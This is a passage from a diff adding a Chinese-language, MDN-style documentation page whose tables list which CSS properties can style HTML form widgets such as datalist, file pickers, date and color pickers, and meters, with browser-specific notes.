元素上不支持这个属性;Mac OSX 上基于 WebKit 的浏览器在 {{HTMLElement("option")}} 和{{HTMLElement("optgroup")}} 元素上不支持这个属性。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>Windows 7 上的 IE9 和 Mac OSX 上基于 WebKit 的浏览器,不支持这个组件上的这个属性。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>只被 Firefox and IE9+ 支持。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td> + <ol> + <li>在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Datalist">Datalist</h3> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> +</table> + +<h3 id="File_picker">File picker</h3> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>支持,但浏览器之间的不一致性太多,所以并不可靠。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>许多浏览器将这个属性应用到选择按钮上。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>它表现的或多或少的像一个组件左侧的边缘。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>支持,但浏览器之间的不一致性太多,所以并不可靠。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Date_pickers">Date pickers</h3> + +<p>许多属性都支持但是浏览器之间的不一致性太多,所以并不可靠。</p> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td> </td> + </tr> + </tbody> +</table> + +<h3 id="Color_pickers">Color pickers</h3> + +<p>There is currently not enough implementation to get realiable behaviors.</p> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>Opera 将它像一个选择组件一样,以同样的限制处理。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>Opera 将它像一个选择组件一样,以同样的限制处理。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>支持,但浏览器之间的不一致性太多,所以并不可靠。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<h3 id="Meters_and_progress">Meters and progress</h3> + +<p>There is currently not enough implementation to get realiable behaviors.</p> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>当 {{cssxref("padding")}} 属性应用于一个 tweaked 元素时,Chrome 会隐藏 {{HTMLElement("progress")}} 和{{HTMLElement("meter")}} 元素。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>支持,但浏览器之间的不一致性太多,所以并不可靠。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: 